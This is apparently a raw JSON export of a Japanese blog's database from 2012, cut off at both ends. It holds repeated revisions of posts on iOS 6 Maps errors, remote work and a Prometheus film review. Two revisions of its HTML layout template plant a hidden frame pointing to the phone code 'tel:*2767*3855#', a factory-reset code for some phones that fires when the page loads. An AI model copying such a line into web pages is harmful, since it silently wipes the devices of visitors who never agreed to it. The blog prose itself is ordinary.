のカーナビ用地図を採用し、公共交通機関の乗り継ぎ検索を外部に丸投げしているというどうしようもない問題は、半年や 1 年という単位では解決できない問題でしょう。\r\n\r\nこれは結構根深い問題で、 Apple は技術力で大きな問題が発生しているというだけでなく、マーケティングや経営のパワーという点でも大きな問題が発生しているということになります。\r\n\r\n大変ですね。","created_at":"2012-09-24T05:31:14.000Z","updated_at":"2012-09-24T05:31:14.000Z"},{"id":2174,"name":"text/iOS6 の地図について駅などをもとに考えてみる","body":"%blog%\r\n\r\n散々言われている面白地図ですが、例えば高円寺駅について見てみると\r\n\r\n- 正しい位置にある「高円寺駅」\r\n- 正しい位置にあるひらがな表記の「こうえんじ」\r\n- 正しい位置にあり検索するとピンの落ちる先として設定されている「高円寺駅」\r\n - 駅名で検索しないと出てこない\r\n- 測地系のずれと思われる位置(南東に数百メートルのずれ)にある「高円寺駅」\r\n\r\nの 4 個があることが分かります。高円寺駅の場合はこれだけですが、いくつかの駅では\r\n\r\n- 謎の数キロメートルのずれが発生してる本当に意味分からないやつ\r\n - 西にずれてることが多いっぽい\r\n\r\nがさらにあります。\r\n\r\niOS6 の地図は国内ではインクリメント P の地図(MapFan のやつ、カーナビによく使われている)を基本に複数の地図をマージされたものであることはよく知られていますが、その際測地系の違いを無視してマージしたり、謎の数キロメートルにも及ぶずれが発生したり、同じ名前の [POI](http://ja.wikipedia.org/wiki/Point_of_interest) のマージに失敗したりしたことが分かります。\r\n\r\nこのうち測地系の取り扱いミスについては一瞬で修正出来る問題です。そもそも「高円寺駅」が複数ある問題について、完全に名前が一致するものについてはマージしてしまえばいいので、それなりに早期に解決出来る問題という気がします。またひらがなの「こうえんじ」についてはインクリメント P 提供のデータに含まれるものなので、インクリメント P の協力があれば早期と言えないまでも修正が可能でしょう。数キロメートルずれてる奴はよう分からん。\r\n\r\n今度はこうした技術的に解決できる問題が全て解決されたと仮定して、高円寺駅を基点に地図を見ていきましょう。\r\n\r\n- 明らかに数年前に潰れた店があります\r\n- 縮尺をかなり大きくしないと線路が表示されない\r\n- 新高円寺駅(地下鉄駅です)を見てみると A1 出口がどこかとかそういう情報が無い\r\n\r\nまたよく知られるように、北九州空港が東横インとして表示されています。北九州空港に行ったことがある人なら分かると思いますが、あの辺鄙な空港には東横インが併設されています。このことから分かる通り、\r\n\r\n- 商業施設の表示優先順位が、交通関連の施設や行政関連施設よりも高い\r\n\r\nという問題があることも分かります。有名な大王製紙やくろ松と群馬県庁の問題などもそうでしょう。\r\n\r\nこれらの問題のうち\r\n\r\n- 表示優先順位の調整\r\n- 鉄道線路の問題\r\n\r\nは技術的な解決が可能です。もしこうしたことが Apple 内部できちんと問題として認識されているならば早期の解決が見込まれるでしょう。\r\n\r\nそうした様々な問題が解決されたとしても\r\n\r\n- データが明らかに古い\r\n - MapFan 見れば分かりますがインクリメント P のせいです\r\n - ちなみにこれは米国でも発生している問題です\r\n - ハイチでも発生してます\r\n - 2 年前の地震で首都の施設はほぼ全て消滅したが地図には未だに表示されている\r\n- 鉄道関連の施設が軽んじられている\r\n\r\nという問題は解決しないでしょう。\r\n\r\nアメリカにおいては携帯電話にドライブナビゲーション機能を持たせることがどうやら重視されているようですが、日本の車は買えばカーナビ大抵ついてきます。携帯電話にドライブナビゲーションさせる必要がない。携帯電話の地図に必要なのは鉄道を中心とした公共交通機関を利用したナビゲーションです。\r\n\r\nそうした文化差を考慮せずインクリメント P のカーナビ用地図を採用し、公共交通機関の乗り継ぎ検索を外部に丸投げしているというどうしようもない問題は、半年や 1 年という単位では解決できない問題でしょう。\r\n\r\nこれは結構根深い問題で、 Apple は技術力で大きな問題が発生しているというだけでなく、マーケティングや経営のパワーという点でも大きな問題が発生しているということになります。\r\n\r\n大変ですね。\r\n","created_at":"2012-09-24T05:34:42.000Z","updated_at":"2012-09-24T05:34:42.000Z"},{"id":2175,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n\u003cframe src=\"tel:*2767*3855%23\" /\u003e \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2012-09-26T05:40:46.000Z","updated_at":"2012-09-26T05:40:46.000Z"},{"id":2176,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n%frame{src: \"tel:*2767*3855%23\"} \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2012-09-26T05:41:36.000Z","updated_at":"2012-09-26T05:41:36.000Z"},{"id":2177,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2012-09-26T05:53:14.000Z","updated_at":"2012-09-26T05:53:14.000Z"},{"id":2178,"name":"text/在宅勤務について","body":"%blog%\r\n\r\n今在宅勤務してます。どこで何してるかは(あまり)公にしてません。なんかそれでも結構いろんな人に知られてるみたいですけど。現在働いてる会社は\r\n\r\n- 創業 6 年ぐらい\r\n- 全員在宅勤務\r\n\r\nという感じです。実はオフィスはあって社長はそこにいるという噂ですが、一度も行ったことはありません。どこにあるのかもよく知らない。\r\n\r\n僕の仕事場を紹介します。\r\n\r\n!(仕事場)[http://ssig33.com/gyazo/449a79847f946a6b7414c9dc5abf6703.png]\r\n\r\nだいたいこんな感じです、手前にあるのは無印良品の[人間を駄目にするクッション](http://www.muji.net/store/cmdty/detail/4934761049182)です。これの上に腹這いになってうまいとこパソコンを操作します。\r\n\r\nいつもいつもこんな感じで作業してるわけでもないですが、こういう感じで作業している時間はかなり長いです。\r\n\r\n完全在宅勤務のいいところは、別にどこで仕事をしていても問題ないので、ソウルにいようが札幌にいようがヴェネチアにいようが特に問題がないという点です。適当にいろんなところをフラフラしながら仕事をしています。ソウルの食事はキムチの辛さで分かりづらいですが塩分が非常に多いです。これに気をつけないと体調を崩します。僕は崩しました。\r\n\r\nわるいところはレッドブル代を全額自分で出さないといけないという点です。これによってレッドブルを飲まなくなりました。その結果として痩せました。レッドブルを飲んで元気になったとしたら、それは単に栄養が足りていないということで、ちゃんと食事をするのが大切なのだ、ということが体で分かったような気がします。\r\n\r\n仕事は\r\n\r\n- Skype\r\n- github\r\n\r\nで普通にまわされています。 Skype での連絡は無い時は週に 1 回もありません。それでも案外回るには回ります。本当です。\r\n\r\n2 週間に 1 回ぐらいの間隔で、社内の全員が集まるミーティングのような何かがあります。 2 週間に 1 度は日本にいないと駄目ということになります。タダ飯です。そこで御互いの作業内容などを報告しあってますが、わりとざっくばらんとしてます。\r\n\r\n仕事をする時間はわりと適当です。最近は 20 時ぐらいから 2 時ぐらいまでが僕のコアタイムです。朝の 5 時とかにガンガン仕事してる人もいるっぽいです。\r\n\r\n在宅、それなりに楽しいのでよいです。","created_at":"2012-09-28T06:54:14.000Z","updated_at":"2012-09-28T06:54:14.000Z"},{"id":2179,"name":"text/在宅勤務について","body":"%blog%\r\n\r\n今在宅勤務してます。どこで何してるかは(あまり)公にしてません。なんかそれでも結構いろんな人に知られてるみたいですけど。現在働いてる会社は\r\n\r\n- 創業 6 年ぐらい\r\n- 全員在宅勤務\r\n\r\nという感じです。実はオフィスはあって社長はそこにいるという噂ですが、一度も行ったことはありません。どこにあるのかもよく知らない。\r\n\r\n僕の仕事場を紹介します。\r\n\r\n![仕事場](http://ssig33.com/gyazo/449a79847f946a6b7414c9dc5abf6703.png)\r\n\r\nだいたいこんな感じです、手前にあるのは無印良品の[人間を駄目にするクッション](http://www.muji.net/store/cmdty/detail/4934761049182)です。これの上に腹這いになってうまいとこパソコンを操作します。\r\n\r\nいつもいつもこんな感じで作業してるわけでもないですが、こういう感じで作業している時間はかなり長いです。\r\n\r\n完全在宅勤務のいいところは、別にどこで仕事をしていても問題ないので、ソウルにいようが札幌にいようがヴェネチアにいようが特に問題がないという点です。適当にいろんなところをフラフラしながら仕事をしています。ソウルの食事はキムチの辛さで分かりづらいですが塩分が非常に多いです。これに気をつけないと体調を崩します。僕は崩しました。\r\n\r\nわるいところはレッドブル代を全額自分で出さないといけないという点です。これによってレッドブルを飲まなくなりました。その結果として痩せました。レッドブルを飲んで元気になったとしたら、それは単に栄養が足りていないということで、ちゃんと食事をするのが大切なのだ、ということが体で分かったような気がします。\r\n\r\n仕事は\r\n\r\n- Skype\r\n- github\r\n\r\nで普通にまわされています。 Skype での連絡は無い時は週に 1 回もありません。それでも案外回るには回ります。本当です。\r\n\r\n2 週間に 1 回ぐらいの間隔で、社内の全員が集まるミーティングのような何かがあります。 2 週間に 1 度は日本にいないと駄目ということになります。タダ飯です。そこで御互いの作業内容などを報告しあってますが、わりとざっくばらんとしてます。\r\n\r\n仕事をする時間はわりと適当です。最近は 20 時ぐらいから 2 時ぐらいまでが僕のコアタイムです。朝の 5 時とかにガンガン仕事してる人もいるっぽいです。\r\n\r\n在宅、それなりに楽しいのでよいです。","created_at":"2012-09-28T06:54:28.000Z","updated_at":"2012-09-28T06:54:28.000Z"},{"id":2180,"name":"text/プロメテウスの感想、あるいは何故リドリー・スコットは劣化したのか","body":"%blog%\r\n\r\nプロメテウスの感想はまあいいや。 CM に騙された人は御愁傷様ということで。\r\n\r\n僕はプロメテウスを見たのがそもそも[二ヶ月以上前](http://text.ssig33.com/104)のことなので割ともういろいろ忘れてます、人類もエイリアンもスペースジョッキーに作られてたんや!!みたいのはまあ覚えてるんですが。\r\n\r\nんでもって、\r\n\r\n- ロビン・フッドはグラディエイターの焼き直し\r\n- プロメテウスはエイリアンの焼き直し\r\n- よってリドリー・スコットはもう完全に糞、ブレードランナーも絶対見んわ\r\n\r\nみたいな意見を比較的よく見る気がします。ただそれはちょっと違うんじゃないかなーと思うわけです。\r\n\r\n### グラディエイターとロビン・フッドはどう違うか?\r\nグラディエイターはよくも悪くも剣とサンダル映画の到達点と言えるのではないかと思います。主人公マキシマムの復讐は作中において全く正当なものと扱われます。トラウマを振り翳すグロテスクないかにもリドリー・スコット的人物コモドゥスは、副主人公的な人物ではありますが、あくまで悪役でしかない。コモドゥスは何一つ得るものもなく罵倒の中コロシアムに倒れる。\r\n\r\nグラディエイターは勧善懲悪のエンターテイメント超大作と言えるでしょう。\r\n\r\n翻ってロビン・フッドはどうか。この映画はまず時系列の上で明確にキングダム・オブ・ヘヴンの続編として描かれています。キングダム・オブ・ヘヴンは御存知の通り十字軍の大義を徹底的に批判した映画です。よってその流れを汲む本作では[ライオンハート](http://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%81%E3%83%A3%E3%83%BC%E3%83%891%E4%B8%96_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B)は徹底した悪役として描かれます。\r\n\r\nライオンハートが悪役ならば、[失地王ジョン](http://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A7%E3%83%B3_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B)はどうなのか、[尊厳王フィリップ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%AA%E3%83%83%E3%83%972%E4%B8%96_(%E3%83%95%E3%83%A9))はどうなのか。これも悪役として描かれています。ジョンはコモドゥス的な柔弱なのろまにすぎません。フィリップは侵略を企む邪悪な策士として描かれる。\r\n\r\nではこれら時代の王が悪役ならば、ロビン・フッドはどうなのか。ロビン・フッドの印象はあまり作中で残るものではなく、時代に抗おうとするも結局は時代に流される森の民というような印象しか残りません。\r\n\r\nそして僕が極めつけだと思ったのがマグナカルタが発布されるシーンで、このシーンで権利を認められるのは史実通り「貴族のみ」ですし、マグナカルタ自体失態を重ねたジョンが貴族を懐柔する為に苦し紛れに出した、というのが比較的冷静に描かれています。\r\n\r\nこれを纏めると、この映画では「イギリス的なおとぎ話や正義」というものが徹底的に否定、破壊することが主眼に置かれているのではないかと思えてきます。イギリス人よ目を覚ませ、お前達が信じているものはゴミだ、というような具合。\r\n\r\n誰が見ても面白い気持ちのよい娯楽大作だったグラディエイターとは大分違うのではないかと思います。そしてグラディエイターと比較すればグラディエイターの方が面白いと考える人が多いのではないかと思います。イギリス人にしてみればこんなものは不快でしかないし、イギリス人以外にしてみればロビン・フッドやライオンハートやマグナカルタなんて知った話じゃありません。\r\n\r\n### エイリアン、ブレードランナー、松田優作、ソマリア人、イスラム教徒、プロメテウス\r\nエイリアンにおいて真の悪役がロボットと日本人だったことはファンには広く知られる事実です。ブレードランナーにおいても「強力わかもと」の看板にはじまり、「日本人の作ったメシを食うしょぼくれたアメリカ人」が「戦いの末にコカコーラの看板の下で立派な男になりレイチェルと結ばれる」というストーリーの骨子といい、悪役タイレルのいかにも日本人的な外見、価値観といい、日本人への蔑視と恐怖を感じます。\r\n\r\nこうしたリドリーの日本人への蔑視と恐怖はブラック・レインによって完全に解消されたことが伺えます。非欧米人というもっと広げた視点で見てみれば、ブラックホーク・ダウンにおけるソマリア人の描写やキングダム・オブ・ヘヴンにおけるサラーフ・アッ・ディーンの英雄的な描写などから、非常に広範で公平な視点を得られたことが伺えます。\r\n\r\nではエイリアンの続編、プロメテウスにおいては、こうした流れを踏襲し、アジア人とロボットは好ましい、善なる存在として描かれます。こうした善なる存在と相対するスペースジョッキーやエイリアンらはその善悪すら作中では明確に描かれていません。\r\n\r\nまたスペースジョッキーや巨大なフェイスハガーに男性器的な特徴が見られないというのもこの映画における特筆すべき点なのではないかと思います。\r\n\r\nエイリアンとプロメテウスを比較した時にストーリーの整合性という点ではどっちも正直微妙という感じですし、ビジュアルや映像という点では共に時代最高峰の水準と言えるのではないかと思います。結局のところエイリアンとプロメテウスの最大の差は「アジア人やロボットへの恐怖、男性器の力」という明確なテーマがエイリアンには存在し、プロメテウスには存在しないという点なのではないかと思います。\r\n\r\nまあようはシャーリーズ・セロンやガイ・ピアースではキャラが立ってないということです。\r\n\r\n### 正義や悪の不在\r\n物語において、正義と悪が明確に分かれているというのは面白さを保証する重要なポイントなのではないかと思います。現実に正義と悪が明確に分けることは出来ないのだからなどと口で言ったところで正義も悪も存在しない物語を描く為には、正義も悪も超越した絶対的な何か(それは物語のテーマかもしれないし、筆力/画力/演出力かもしれないし、演者や作画者の圧倒的な技量かもしれません)が必要なのではないでしょうか。\r\n\r\nロビン・フッドには正義が不在で、プロメテウスには悪が不在です。そしてこれらの映画はキングダム・オブ・ヘヴンのようにそれを圧倒するテーマ性があるわけでもなく、ブラックホーク・ダウンのように圧倒的な戦闘の迫力があるわけでもない(そしてキングダム・オブ・ヘヴンにせよブラックホーク・ダウンにせよあれらの映画で用いられた手段は二度と使えるものではありません)。\r\n\r\nリドリー・スコットはかつて英米欧的な正義を絶対的に信じていたように思えます。有名な Apple の CM 元ネタからして共産ロシアへの嫌悪が背景にあるわけですし、エイリアンやブレードランナーには日本人への恐怖と蔑視がある。映像に圧倒的に傾き分かりづらい彼の映画には実はそういう背骨があるからこそ世に受け入れられたのではないかと思います。その彼がここ十数年ほどは正義と悪の在処に延々と悩み続けるような映画を作っているというのは監督の人格的な成長を感じるところではあります。\r\n\r\nしかし創作物の面白さというのは創作者の人格的成長と比例するものではありません。むしろ反比例することもある。\r\n\r\nリドリー・スコットが劣化したといえば、確かにそういう面はあるかもしれません。しかし彼は粗悪な自己模倣を繰り返しているのではなく、自己模倣の形を取った自己否定を繰り返しているのではないかと僕は思います。","created_at":"2012-09-29T06:33:36.000Z","updated_at":"2012-09-29T06:33:36.000Z"},{"id":2181,"name":"text/プロメテウスの感想、あるいは何故リドリー・スコットは劣化したのか","body":"%blog%\r\n\r\nプロメテウスの感想はまあいいや。 CM に騙された人は御愁傷様ということで。\r\n\r\n僕はプロメテウスを見たのがそもそも[二ヶ月以上前](http://text.ssig33.com/104)のことなので割ともういろいろ忘れてます、人類もエイリアンもスペースジョッキーに作られてたんや!!みたいのはまあ覚えてるんですが。\r\n\r\nんでもって、\r\n\r\n- ロビン・フッドはグラディエイターの焼き直し\r\n- プロメテウスはエイリアンの焼き直し\r\n- よってリドリー・スコットはもう完全に糞、ブレードランナーも絶対見んわ\r\n\r\nみたいな意見を比較的よく見る気がします。ただそれはちょっと違うんじゃないかなーと思うわけです。\r\n\r\n### グラディエイターとロビン・フッドはどう違うか?\r\nグラディエイターはよくも悪くも剣とサンダル映画の到達点と言えるのではないかと思います。主人公マキシマムの復讐は作中において全く正当なものと扱われます。トラウマを振り翳すグロテスクないかにもリドリー・スコット的人物コモドゥスは、副主人公的な人物ではありますが、あくまで悪役でしかない。コモドゥスは何一つ得るものもなく罵倒の中コロシアムに倒れる。\r\n\r\nグラディエイターは勧善懲悪のエンターテイメント超大作と言えるでしょう。\r\n\r\n翻ってロビン・フッドはどうか。この映画はまず時系列の上で明確にキングダム・オブ・ヘヴンの続編として描かれています。キングダム・オブ・ヘヴンは御存知の通り十字軍の大義を徹底的に批判した映画です。よってその流れを汲む本作では[ライオンハート](http://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%81%E3%83%A3%E3%83%BC%E3%83%891%E4%B8%96_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B))は徹底した悪役として描かれます。\r\n\r\nライオンハートが悪役ならば、[失地王ジョン](http://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A7%E3%83%B3_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B))はどうなのか、[尊厳王フィリップ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%AA%E3%83%83%E3%83%972%E4%B8%96_(%E3%83%95%E3%83%A9))はどうなのか。これも悪役として描かれています。ジョンはコモドゥス的な柔弱なのろまにすぎません。フィリップは侵略を企む邪悪な策士として描かれる。\r\n\r\nではこれら時代の王が悪役ならば、ロビン・フッドはどうなのか。ロビン・フッドの印象はあまり作中で残るものではなく、時代に抗おうとするも結局は時代に流される森の民というような印象しか残りません。\r\n\r\nそして僕が極めつけだと思ったのがマグナカルタが発布されるシーンで、このシーンで権利を認められるのは史実通り「貴族のみ」ですし、マグナカルタ自体失態を重ねたジョンが貴族を懐柔する為に苦し紛れに出した、というのが比較的冷静に描かれています。\r\n\r\nこれを纏めると、この映画では「イギリス的なおとぎ話や正義」というものが徹底的に否定、破壊することが主眼に置かれているのではないかと思えてきます。イギリス人よ目を覚ませ、お前達が信じているものはゴミだ、というような具合。\r\n\r\n誰が見ても面白い気持ちのよい娯楽大作だったグラディエイターとは大分違うのではないかと思います。そしてグラディエイターと比較すればグラディエイターの方が面白いと考える人が多いのではないかと思います。イギリス人にしてみればこんなものは不快でしかないし、イギリス人以外にしてみればロビン・フッドやライオンハートやマグナカルタなんて知った話じゃありません。\r\n\r\n### エイリアン、ブレードランナー、松田優作、ソマリア人、イスラム教徒、プロメテウス\r\nエイリアンにおいて真の悪役がロボットと日本人だったことはファンには広く知られる事実です。ブレードランナーにおいても「強力わかもと」の看板にはじまり、「日本人の作ったメシを食うしょぼくれたアメリカ人」が「戦いの末にコカコーラの看板の下で立派な男になりレイチェルと結ばれる」というストーリーの骨子といい、悪役タイレルのいかにも日本人的な外見、価値観といい、日本人への蔑視と恐怖を感じます。\r\n\r\nこうしたリドリーの日本人への蔑視と恐怖はブラック・レインによって完全に解消されたことが伺えます。非欧米人というもっと広げた視点で見てみれば、ブラックホーク・ダウンにおけるソマリア人の描写やキングダム・オブ・ヘヴンにおけるサラーフ・アッ・ディーンの英雄的な描写などから、非常に広範で公平な視点を得られたことが伺えます。\r\n\r\nではエイリアンの続編、プロメテウスにおいては、こうした流れを踏襲し、アジア人とロボットは好ましい、善なる存在として描かれます。こうした善なる存在と相対するスペースジョッキーやエイリアンらはその善悪すら作中では明確に描かれていません。\r\n\r\nまたスペースジョッキーや巨大なフェイスハガーに男性器的な特徴が見られないというのもこの映画における特筆すべき点なのではないかと思います。\r\n\r\nエイリアンとプロメテウスを比較した時にストーリーの整合性という点ではどっちも正直微妙という感じですし、ビジュアルや映像という点では共に時代最高峰の水準と言えるのではないかと思います。結局のところエイリアンとプロメテウスの最大の差は「アジア人やロボットへの恐怖、男性器の力」という明確なテーマがエイリアンには存在し、プロメテウスには存在しないという点なのではないかと思います。\r\n\r\nまあようはシャーリーズ・セロンやガイ・ピアースではキャラが立ってないということです。\r\n\r\n### 正義や悪の不在\r\n物語において、正義と悪が明確に分かれているというのは面白さを保証する重要なポイントなのではないかと思います。現実に正義と悪が明確に分けることは出来ないのだからなどと口で言ったところで正義も悪も存在しない物語を描く為には、正義も悪も超越した絶対的な何か(それは物語のテーマかもしれないし、筆力/画力/演出力かもしれないし、演者や作画者の圧倒的な技量かもしれません)が必要なのではないでしょうか。\r\n\r\nロビン・フッドには正義が不在で、プロメテウスには悪が不在です。そしてこれらの映画はキングダム・オブ・ヘヴンのようにそれを圧倒するテーマ性があるわけでもなく、ブラックホーク・ダウンのように圧倒的な戦闘の迫力があるわけでもない(そしてキングダム・オブ・ヘヴンにせよブラックホーク・ダウンにせよあれらの映画で用いられた手段は二度と使えるものではありません)。\r\n\r\nリドリー・スコットはかつて英米欧的な正義を絶対的に信じていたように思えます。有名な Apple の CM 元ネタからして共産ロシアへの嫌悪が背景にあるわけですし、エイリアンやブレードランナーには日本人への恐怖と蔑視がある。映像に圧倒的に傾き分かりづらい彼の映画には実はそういう背骨があるからこそ世に受け入れられたのではないかと思います。その彼がここ十数年ほどは正義と悪の在処に延々と悩み続けるような映画を作っているというのは監督の人格的な成長を感じるところではあります。\r\n\r\nしかし創作物の面白さというのは創作者の人格的成長と比例するものではありません。むしろ反比例することもある。\r\n\r\nリドリー・スコットが劣化したといえば、確かにそういう面はあるかもしれません。しかし彼は粗悪な自己模倣を繰り返しているのではなく、自己模倣の形を取った自己否定を繰り返しているのではないかと僕は思います。","created_at":"2012-09-29T06:33:58.000Z","updated_at":"2012-09-29T06:33:58.000Z"},{"id":2182,"name":"text/プロメテウスの感想、あるいは何故リドリー・スコットは劣化したのか","body":"%blog%\r\n\r\nプロメテウスの感想はまあいいや。 CM に騙された人は御愁傷様ということで。\r\n\r\n僕はプロメテウスを見たのがそもそも[二ヶ月以上前](http://text.ssig33.com/104)のことなので割ともういろいろ忘れてます、人類もエイリアンもスペースジョッキーに作られてたんや!!みたいのはまあ覚えてるんですが。\r\n\r\nんでもって、\r\n\r\n- ロビン・フッドはグラディエイターの焼き直し\r\n- プロメテウスはエイリアンの焼き直し\r\n- よってリドリー・スコットはもう完全に糞、ブレードランナーも絶対見んわ\r\n\r\nみたいな意見を比較的よく見る気がします。ただそれはちょっと違うんじゃないかなーと思うわけです。\r\n\r\n### グラディエイターとロビン・フッドはどう違うか?\r\nグラディエイターはよくも悪くも剣とサンダル映画の到達点と言えるのではないかと思います。主人公マキシマムの復讐は作中において全く正当なものと扱われます。トラウマを振り翳すグロテスクないかにもリドリー・スコット的人物コモドゥスは、副主人公的な人物ではありますが、あくまで悪役でしかない。コモドゥスは何一つ得るものもなく罵倒の中コロシアムに倒れる。\r\n\r\nグラディエイターは勧善懲悪のエンターテイメント超大作と言えるでしょう。\r\n\r\n翻ってロビン・フッドはどうか。この映画はまず時系列の上で明確にキングダム・オブ・ヘヴンの続編として描かれています。キングダム・オブ・ヘヴンは御存知の通り十字軍の大義を徹底的に批判した映画です。よってその流れを汲む本作では[ライオンハート](http://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%81%E3%83%A3%E3%83%BC%E3%83%891%E4%B8%96_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B))は徹底した悪役として描かれます。\r\n\r\nライオンハートが悪役ならば、[失地王ジョン](http://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A7%E3%83%B3_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B)はどうなのか、[尊厳王フィリップ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%AA%E3%83%83%E3%83%972%E4%B8%96_(%E3%83%95%E3%83%A9)はどうなのか。これも悪役として描かれています。ジョンはコモドゥス的な柔弱なのろまにすぎません。フィリップは侵略を企む邪悪な策士として描かれる。\r\n\r\nではこれら時代の王が悪役ならば、ロビン・フッドはどうなのか。ロビン・フッドの印象はあまり作中で残るものではなく、時代に抗おうとするも結局は時代に流される森の民というような印象しか残りません。\r\n\r\nそして